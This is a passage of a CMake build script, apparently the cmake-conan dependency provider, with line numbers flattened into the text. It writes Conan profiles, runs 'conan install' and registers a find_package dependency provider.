string(APPEND PROFILE compiler=${MYCOMPILER} "\n") 367 | endif() 368 | if(MYCOMPILER_VERSION) 369 | string(APPEND PROFILE compiler.version=${MYCOMPILER_VERSION} "\n") 370 | endif() 371 | if(MYCOMPILER_RUNTIME) 372 | string(APPEND PROFILE compiler.runtime=${MYCOMPILER_RUNTIME} "\n") 373 | endif() 374 | if(MYCOMPILER_RUNTIME_TYPE) 375 | string(APPEND PROFILE compiler.runtime_type=${MYCOMPILER_RUNTIME_TYPE} "\n") 376 | endif() 377 | if(MYCXX_STANDARD) 378 | string(APPEND PROFILE compiler.cppstd=${MYCXX_STANDARD} "\n") 379 | endif() 380 | if(MYLIB_CXX) 381 | string(APPEND PROFILE compiler.libcxx=${MYLIB_CXX} "\n") 382 | endif() 383 | if(MYBUILD_TYPE) 384 | string(APPEND PROFILE "build_type=${MYBUILD_TYPE}\n") 385 | endif() 386 | 387 | if(NOT DEFINED output_file) 388 | set(_FN "${CMAKE_BINARY_DIR}/profile") 389 | else() 390 | set(_FN ${output_file}) 391 | endif() 392 | 393 | string(APPEND PROFILE "[conf]\n") 394 | string(APPEND PROFILE "tools.cmake.cmaketoolchain:generator=${CMAKE_GENERATOR}\n") 395 | 396 | # propagate compilers via profile 397 | append_compiler_executables_configuration() 398 | 399 | if(MYOS STREQUAL "Android") 400 | string(APPEND PROFILE "tools.android:ndk_path=${CMAKE_ANDROID_NDK}\n") 401 | endif() 402 | 403 | message(STATUS "CMake-Conan: Creating profile ${_FN}") 404 | file(WRITE ${_FN} ${PROFILE}) 405 | message(STATUS "CMake-Conan: Profile: \n${PROFILE}") 406 | endfunction() 407 | 408 | 409 | function(conan_profile_detect_default) 410 | message(STATUS "CMake-Conan: Checking if a default profile exists") 411 | execute_process(COMMAND ${CONAN_COMMAND} profile path default 412 | RESULT_VARIABLE return_code 413 | OUTPUT_VARIABLE conan_stdout 414 | ERROR_VARIABLE conan_stderr 415 | ECHO_ERROR_VARIABLE # show the text output regardless 416 | ECHO_OUTPUT_VARIABLE 417 | WORKING_DIRECTORY ${CMAKE_CURRENT_BINARY_DIR}) 418 | if(NOT ${return_code} EQUAL "0") 419 | message(STATUS "CMake-Conan: The default profile doesn't exist, detecting it.") 420 | execute_process(COMMAND ${CONAN_COMMAND} profile detect 421 | RESULT_VARIABLE return_code 422 | OUTPUT_VARIABLE conan_stdout 423 | ERROR_VARIABLE conan_stderr 424 | ECHO_ERROR_VARIABLE # show the text output regardless 425 | ECHO_OUTPUT_VARIABLE 426 | WORKING_DIRECTORY ${CMAKE_CURRENT_BINARY_DIR}) 427 | endif() 428 | endfunction() 429 | 430 | 431 | function(conan_install) 432 | cmake_parse_arguments(ARGS CONAN_ARGS ${ARGN}) 433 | set(CONAN_OUTPUT_FOLDER ${CMAKE_BINARY_DIR}/conan) 434 | # Invoke "conan install" with the provided arguments 435 | set(CONAN_ARGS ${CONAN_ARGS} -of=${CONAN_OUTPUT_FOLDER}) 436 | message(STATUS "CMake-Conan: conan install ${CMAKE_SOURCE_DIR} ${CONAN_ARGS} ${ARGN}") 437 | 438 | 439 | # In case there was not a valid cmake executable in the PATH, we inject the 440 | # same we used to invoke the provider to the PATH 441 | if(DEFINED PATH_TO_CMAKE_BIN) 442 | set(_OLD_PATH $ENV{PATH}) 443 | set(ENV{PATH} "$ENV{PATH}:${PATH_TO_CMAKE_BIN}") 444 | endif() 445 | 446 | execute_process(COMMAND ${CONAN_COMMAND} install ${CMAKE_SOURCE_DIR} ${CONAN_ARGS} ${ARGN} --format=json 447 | RESULT_VARIABLE return_code 448 | OUTPUT_VARIABLE conan_stdout 449 | ERROR_VARIABLE conan_stderr 450 | ECHO_ERROR_VARIABLE # show the text output regardless 451 | WORKING_DIRECTORY ${CMAKE_CURRENT_BINARY_DIR}) 452 | 453 | if(DEFINED PATH_TO_CMAKE_BIN) 454 | set(ENV{PATH} "${_OLD_PATH}") 455 | endif() 456 | 457 | if(NOT "${return_code}" STREQUAL "0") 458 | message(FATAL_ERROR "Conan install failed='${return_code}'") 459 | endif() 460 | 461 | # the files are generated in a folder that depends on the layout used, if 462 | # one is specified, but we don't know a priori where this is. 463 | # TODO: this can be made more robust if Conan can provide this in the json output 464 | string(JSON CONAN_GENERATORS_FOLDER GET ${conan_stdout} graph nodes 0 generators_folder) 465 | cmake_path(CONVERT ${CONAN_GENERATORS_FOLDER} TO_CMAKE_PATH_LIST CONAN_GENERATORS_FOLDER) 466 | # message("conan stdout: ${conan_stdout}") 467 | message(STATUS "CMake-Conan: CONAN_GENERATORS_FOLDER=${CONAN_GENERATORS_FOLDER}") 468 | set_property(GLOBAL PROPERTY CONAN_GENERATORS_FOLDER "${CONAN_GENERATORS_FOLDER}") 469 | # reconfigure on conanfile changes 470 | string(JSON CONANFILE GET ${conan_stdout} graph nodes 0 label) 471 | message(STATUS "CMake-Conan: CONANFILE=${CMAKE_SOURCE_DIR}/${CONANFILE}") 472 | set_property(DIRECTORY ${CMAKE_SOURCE_DIR} APPEND PROPERTY CMAKE_CONFIGURE_DEPENDS "${CMAKE_SOURCE_DIR}/${CONANFILE}") 473 | # success 474 | set_property(GLOBAL PROPERTY CONAN_INSTALL_SUCCESS TRUE) 475 | 476 | endfunction() 477 | 478 | 479 | function(conan_get_version conan_command conan_current_version) 480 | execute_process( 481 | COMMAND ${conan_command} --version 482 | OUTPUT_VARIABLE conan_output 483 | RESULT_VARIABLE conan_result 484 | OUTPUT_STRIP_TRAILING_WHITESPACE 485 | ) 486 | if(conan_result) 487 | message(FATAL_ERROR "CMake-Conan: Error when trying to run Conan") 488 | endif() 489 | 490 | string(REGEX MATCH "[0-9]+\\.[0-9]+\\.[0-9]+" conan_version ${conan_output}) 491 | set(${conan_current_version} ${conan_version} PARENT_SCOPE) 492 | endfunction() 493 | 494 | 495 | function(conan_version_check) 496 | set(options ) 497 | set(oneValueArgs MINIMUM CURRENT) 498 | set(multiValueArgs ) 499 | cmake_parse_arguments(CONAN_VERSION_CHECK 500 | "${options}" "${oneValueArgs}" "${multiValueArgs}" ${ARGN}) 501 | 502 | if(NOT CONAN_VERSION_CHECK_MINIMUM) 503 | message(FATAL_ERROR "CMake-Conan: Required parameter MINIMUM not set!") 504 | endif() 505 | if(NOT CONAN_VERSION_CHECK_CURRENT) 506 | message(FATAL_ERROR "CMake-Conan: Required parameter CURRENT not set!") 507 | endif() 508 | 509 | if(CONAN_VERSION_CHECK_CURRENT VERSION_LESS CONAN_VERSION_CHECK_MINIMUM) 510 | message(FATAL_ERROR "CMake-Conan: Conan version must be ${CONAN_VERSION_CHECK_MINIMUM} or later") 511 | endif() 512 | endfunction() 513 | 514 | 515 | macro(construct_profile_argument argument_variable profile_list) 516 | set(${argument_variable} "") 517 | if("${profile_list}" STREQUAL "CONAN_HOST_PROFILE") 518 | set(_arg_flag "--profile:host=") 519 | elseif("${profile_list}" STREQUAL "CONAN_BUILD_PROFILE") 520 | set(_arg_flag "--profile:build=") 521 | endif() 522 | 523 | set(_profile_list "${${profile_list}}") 524 | list(TRANSFORM _profile_list REPLACE "auto-cmake" "${CMAKE_BINARY_DIR}/conan_host_profile") 525 | list(TRANSFORM _profile_list PREPEND ${_arg_flag}) 526 | set(${argument_variable} ${_profile_list}) 527 | 528 | unset(_arg_flag) 529 | unset(_profile_list) 530 | endmacro() 531 | 532 | 533 | macro(conan_provide_dependency method package_name) 534 | set_property(GLOBAL PROPERTY CONAN_PROVIDE_DEPENDENCY_INVOKED TRUE) 535 | get_property(_conan_install_success GLOBAL PROPERTY CONAN_INSTALL_SUCCESS) 536 | if(NOT _conan_install_success) 537 | find_program(CONAN_COMMAND "conan" REQUIRED) 538 | conan_get_version(${CONAN_COMMAND} CONAN_CURRENT_VERSION) 539 | conan_version_check(MINIMUM ${CONAN_MINIMUM_VERSION} CURRENT ${CONAN_CURRENT_VERSION}) 540 | message(STATUS "CMake-Conan: first find_package() found. Installing dependencies with Conan") 541 | if("default" IN_LIST CONAN_HOST_PROFILE OR "default" IN_LIST CONAN_BUILD_PROFILE) 542 | conan_profile_detect_default() 543 | endif() 544 | if("auto-cmake" IN_LIST CONAN_HOST_PROFILE) 545 | detect_host_profile(${CMAKE_BINARY_DIR}/conan_host_profile) 546 | endif() 547 | construct_profile_argument(_host_profile_flags CONAN_HOST_PROFILE) 548 | construct_profile_argument(_build_profile_flags CONAN_BUILD_PROFILE) 549 | if(EXISTS "${CMAKE_SOURCE_DIR}/conanfile.py") 550 | file(READ "${CMAKE_SOURCE_DIR}/conanfile.py" outfile) 551 | if(NOT "${outfile}" MATCHES ".*CMakeDeps.*") 552 | message(WARNING "Cmake-conan: CMakeDeps generator was not defined in the conanfile") 553 | endif() 554 | set(generator "") 555 | elseif (EXISTS "${CMAKE_SOURCE_DIR}/conanfile.txt") 556 | file(READ "${CMAKE_SOURCE_DIR}/conanfile.txt" outfile) 557 | if(NOT "${outfile}" MATCHES ".*CMakeDeps.*") 558 | message(WARNING "Cmake-conan: CMakeDeps generator was not defined in the conanfile. " 559 | "Please define the generator as it will be mandatory in the future") 560 | endif() 561 | set(generator "-g;CMakeDeps") 562 | endif() 563 | get_property(_multiconfig_generator GLOBAL PROPERTY GENERATOR_IS_MULTI_CONFIG) 564 | if(NOT _multiconfig_generator) 565 | message(STATUS "CMake-Conan: Installing single configuration ${CMAKE_BUILD_TYPE}") 566 | conan_install(${_host_profile_flags} ${_build_profile_flags} ${CONAN_INSTALL_ARGS} ${generator}) 567 | else() 568 | message(STATUS "CMake-Conan: Installing both Debug and Release") 569 | conan_install(${_host_profile_flags} ${_build_profile_flags} -s build_type=Release ${CONAN_INSTALL_ARGS} ${generator}) 570 | conan_install(${_host_profile_flags} ${_build_profile_flags} -s build_type=Debug ${CONAN_INSTALL_ARGS} ${generator}) 571 | endif() 572 | unset(_host_profile_flags) 573 | unset(_build_profile_flags) 574 | unset(_multiconfig_generator) 575 | unset(_conan_install_success) 576 | else() 577 | message(STATUS "CMake-Conan: find_package(${ARGV1}) found, 'conan install' already ran") 578 | unset(_conan_install_success) 579 | endif() 580 | 581 | get_property(_conan_generators_folder GLOBAL PROPERTY CONAN_GENERATORS_FOLDER) 582 | 583 | # Ensure that we consider Conan-provided packages ahead of any other, 584 | # irrespective of other settings that modify the search order or search paths 585 | # This follows the guidelines from the find_package documentation 586 | # (https://cmake.org/cmake/help/latest/command/find_package.html): 587 | # find_package ( PATHS paths... NO_DEFAULT_PATH) 588 | # find_package () 589 | 590 | # Filter out `REQUIRED` from the argument list, as the first call may fail 591 | set(_find_args_${package_name} "${ARGN}") 592 | list(REMOVE_ITEM _find_args_${package_name} "REQUIRED") 593 | if(NOT "MODULE" IN_LIST _find_args_${package_name}) 594 | find_package(${package_name} ${_find_args_${package_name}} BYPASS_PROVIDER PATHS "${_conan_generators_folder}" NO_DEFAULT_PATH NO_CMAKE_FIND_ROOT_PATH) 595 | unset(_find_args_${package_name}) 596 | endif() 597 | 598 | # Invoke find_package a second time - if the first call succeeded, 599 | # this will simply reuse the result. If not, fall back to CMake default search 600 | # behaviour, also allowing modules to be searched. 601 | if(NOT ${package_name}_FOUND) 602 | list(FIND CMAKE_MODULE_PATH "${_conan_generators_folder}" _index) 603 | if(_index EQUAL -1) 604 | list(PREPEND CMAKE_MODULE_PATH "${_conan_generators_folder}") 605 | endif() 606 | unset(_index) 607 | find_package(${package_name} ${ARGN} BYPASS_PROVIDER) 608 | list(REMOVE_ITEM CMAKE_MODULE_PATH "${_conan_generators_folder}") 609 | endif() 610 | endmacro() 611 | 612 | 613 | cmake_language( 614 | SET_DEPENDENCY_PROVIDER conan_provide_dependency 615 | SUPPORTED_METHODS FIND_PACKAGE 616 | ) 617 | 618 | 619 | macro(conan_provide_dependency_check) 620 | set(_CONAN_PROVIDE_DEPENDENCY_INVOKED FALSE) 621 | get_property(_CONAN_PROVIDE_DEPENDENCY_INVOKED GLOBAL PROPERTY CONAN_PROVIDE_DEPENDENCY_INVOKED) 622 | if(NOT _CONAN_PROVIDE_DEPENDENCY_INVOKED) 623 | message(WARNING "Conan is correctly configured as dependency provider, " 624 | "but Conan has not been invoked. Please add at least one " 625 | "call to `find_package()`.") 626 | if(DEFINED CONAN_COMMAND) 627 | # supress warning in case `CONAN_COMMAND` was specified but unused. 628 | set(_CONAN_COMMAND ${CONAN_COMMAND}) 629 | unset(_CONAN_COMMAND) 630 | endif() 631 | endif() 632 | unset(_CONAN_PROVIDE_DEPENDENCY_INVOKED) 633 | endmacro() 634 | 635 | 636 | # Add a deferred call at the end of processing the top-level directory 637 | # to check if the dependency provider was invoked at all. 638 | cmake_language(DEFER DIRECTORY "${CMAKE_SOURCE_DIR}" CALL conan_provide_dependency_check) 639 | 640 | # Configurable variables for Conan profiles 641 | set(CONAN_HOST_PROFILE "default;auto-cmake" CACHE STRING "Conan host profile") 642 | set(CONAN_BUILD_PROFILE "default" CACHE STRING "Conan build profile") 643 | set(CONAN_INSTALL_ARGS "--build=missing" CACHE STRING "Command line arguments for conan install") 644 | 645 | find_program(_cmake_program NAMES cmake NO_PACKAGE_ROOT_PATH NO_CMAKE_PATH NO_CMAKE_ENVIRONMENT_PATH NO_CMAKE_SYSTEM_PATH NO_CMAKE_FIND_ROOT_PATH) 646 | if(NOT _cmake_program) 647 | get_filename_component(PATH_TO_CMAKE_BIN "${CMAKE_COMMAND}" DIRECTORY) 648 | set(PATH_TO_CMAKE_BIN "${PATH_TO_CMAKE_BIN}" CACHE INTERNAL "Path where the CMake executable is") 649 | endif() 650 | --------------------------------------------------------------------------------